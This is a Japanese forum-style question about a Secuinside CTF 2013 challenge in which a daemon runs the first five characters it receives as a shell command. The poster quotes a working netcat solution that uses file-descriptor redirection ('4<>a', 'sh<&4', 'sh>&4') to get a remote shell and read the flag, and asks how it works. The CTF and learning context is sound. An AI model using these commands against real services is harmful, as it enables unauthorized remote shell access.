今週末、Secuinside CTF 2013 ( http://war.secuinside.com/ )という CTF ウォーゲームが開催されました。
コンピューター セキュリティ愛好家として、CTF が終わった後の課題とその解決策を調べました。
「givemeshell」と呼ばれるデーモンがこのサーバーで実行されていることを考えると、課題の 1 つはサーバーでリモート シェルを取得することでした。デーモンが行うことは、選択したポート (ポート 12345 としましょう) でソケットを開いたままにすることです。
ソケットが何かを受け取ると、デーモンは最初の 5 文字を取得し、シェルで起動します。
たとえば、 を送信するcat file
と、デーモンはcat f
シェルでコマンドを起動します。応答がないので、コマンドの結果がわかりません。
目的は、フラグを含むファイルを読み取ることです。
さて、誰かが私にこの解決策を教えてくれました:
$ nc 1.2.3.4 12345
4<>a
$ nc 1.2.3.4 12345
sh<&4
sh>&4
cat flag
The flag is _FLAG_
このソリューションをテストしましたが、機能します。しかし、それを理解しようと数時間を費やした後でも、それが何をするのか、なぜ機能するのかを理解することはできません. これは何かをリダイレクトすることだと理解しています...
誰かが私にそれを説明できますか?ありがとう!